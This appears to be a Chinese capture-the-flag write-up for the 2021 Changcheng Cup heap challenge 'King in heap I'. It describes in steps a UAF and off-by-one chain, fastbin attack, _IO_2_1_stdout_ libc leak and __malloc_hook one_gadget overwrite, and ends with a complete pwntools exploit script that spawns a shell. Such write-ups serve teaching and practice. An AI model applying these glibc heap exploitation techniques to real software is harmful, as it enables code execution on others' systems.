2021 长城杯 King in heap I
漏洞点和知识点
- UAF
- offbyone
- IO_2_1_stdout 泄露libc
- fastbin attack,修改fastbin链表
- 修改malloc_hook,但是需要用到realloc来调整栈帧,满足onegadget条件
╰─➤ checksec pwn
[*] '/ctf/tools/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
不能修改got表了,因为开了Full RELRO。
程序只有三个功能,add、free、edit,没有show,所以我们不能获取libc,那我们就利用_IO_2_1_stdout_攻击,泄露libc。
输入666会打印printf后三字节,可以绕过PIE:

free函数存在uaf:

edit函数中存在off_by_one:

思路
- 构造三个堆块。chunk0大小0x18,chunk1大小0x80,chunk2大小0x10.
add(0,0x18) # 利用他的offbyone修改下一个堆块的size位,伪造size
add(1,0x80) # 在这伪造0x70大小的fastbin
add(2,0x10) # 避免释放堆块1时,1与topchunk合并
- 利用0修改1size为0x71,并且在1中伪造一个chunk头,避免fastbin检测出错(fastbin会检测后一个相邻的chunk头如果不伪造,那么下一个chunk头数据都是0,这会报错退出),然后将1释放,会进入fastbin:
# 伪造1的size
payload = b"a"*0x18 + b"\x71"
edit(0,payload)
# 伪造chunk头
payload = b"a"*0x60
payload += p64(0x70) + p64(0x21)
edit(1,payload)
free(1)
- 将chunk1的size改回来,再将他释放,会进入unsortedbin,此时fastbin的fd就被修改为
main_arena + 0x68了,我们可以利用修改它的后面三字节,使其指向_IO_2_1_stdout_:
payload = b"a"*0x18 + b"\x91"
edit(0,payload)
free(1)
- 输入666,获取printf的后三字节,发现printf其实与_IO_2_1_stdout_相差是一个固定的偏移(gdb中看),在_IO_2_1_stdout_周围伪造chunk,从而计算出我们实际需要覆盖
main_arena的后三字节为什么值:
sla(b">> \n",b"666")
print_addr3 = int(io.recv(8),16)
print("print last 3 bytes=====>"+hex(print_addr3))
stdout = print_addr3 + 0x36fe10 # 这就是stdout真正的后三字节,用来绕过PIE
stdout_chunk = stdout - 0x43 # 这里有一个0x7f的size的fake——chunk

这个命令可以找到对应地址周围的0x7f大小的chunk,这里我输入的地址就是_IO_2_1_stdout_:

- 利用uaf修改chunk1的fd的后三字节,使其指向_IO_2_1_stdout_的那个fake_chunk:
edit(1,p8(stdout_chunk & 0xff) + p16(stdout_chunk>>8))
- 此时我们应该先修改chunk1大小为0x7f,然后才能申请0x7f的fast_bin,不然会报错,然后可以拿出fake_chunk:
payload = b"a"*0x18 + b"\x71"
edit(0,payload)
add(3,0x60)
add(4,0x60) # stdout_fake_chunk
- 接着编辑chunk4(也就是fake_chunk),然后就能泄露libc了:
但是我们还需要计算真正的libc_base:
payload = b"a"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00" # 这里就是攻击IO
edit(4,payload)
libc_addr = get_addr()
print("libc -----> "+hex(libc_addr))
libc_base = libc_addr - 0x3c5600
one = libc_base + 0x4527a
我们看到他返回的值是这个:

那我们用vmmap找到他与真正libc基址(这只是我们本地机子上的)之间的偏移,减去这个偏移,就能得到远程机子真正的libc_base:

- 接着再次利用伪造fastbin链表:释放chunk1进入fastbin,将他的fd指向_malloc_hook周围的malloc_fake_chunk,然后将这个fake chunk拿出来 :
free(1)
edit(1,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
add(5,0x60)
add(6,0x60) # malloc_hook
- 接着我们利用
malloc_hook来触发onegadget,但是呢这里需要使用realloc来调整栈帧,使其满足onegadget条件,怎么调整,看[这篇文章](使用realloc函数来调整栈帧让one_gadget生效 - ZikH26 - 博客园 (cnblogs.com)):
edit(6,b"a"*0xb + p64(one) + p64(libc_base + libc.sym["realloc"] + 8))
# 获取shell
add(7,0x10)
exp
from pwn import *
from pwn import p64,u64,p32,u32,p8
context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('./libc.so.6')
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
inter = lambda : io.interactive()
def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(idx,size):
sla(b">> ",b"1")
sla(b"input index:",str(idx))
sla(b"input size:",str(size))
def free(idx):
sla(b">> ",b"2")
sla(b"input index:",str(idx))
def edit(idx,content):
sla(b">> ",b"3")
sla(b"input index:",str(idx))
sla(b"input context:",content)
def pwn():
add(0,0x18)
add(1,0x80)
add(2,0x10)
payload = b"a"*0x18 + b"\x71"
edit(0,payload)
payload = b"a"*0x60
payload += p64(0x70) + p64(0x21)
edit(1,payload)
free(1)
payload = b"a"*0x18 + b"\x91"
edit(0,payload)
free(1)
sla(b">> \n",b"666")
print_addr3 = int(io.recv(8),16)
print("print last 3 bytes=====>"+hex(print_addr3))
stdout = print_addr3 + 0x36fe10
stdout_chunk = stdout - 0x43
edit(1,p8(stdout_chunk & 0xff) + p16(stdout_chunk>>8))
payload = b"a"*0x18 + b"\x71"
edit(0,payload)
add(3,0x60)
add(4,0x60) # stdout_chunk
payload = b"a"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"
edit(4,payload)
libc_addr = get_addr()
print("libc -----> "+hex(libc_addr))
libc_base = libc_addr - 0x3c5600
one = libc_base + 0x4527a
free(1)
edit(1,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
add(5,0x60)
add(6,0x60) # malloc_hook
edit(6,b"a"*0xb + p64(one) + p64(libc_base + libc.sym["realloc"] + 8))
add(7,0x10)
inter()
pwn()

浙公网安备 33010602011771号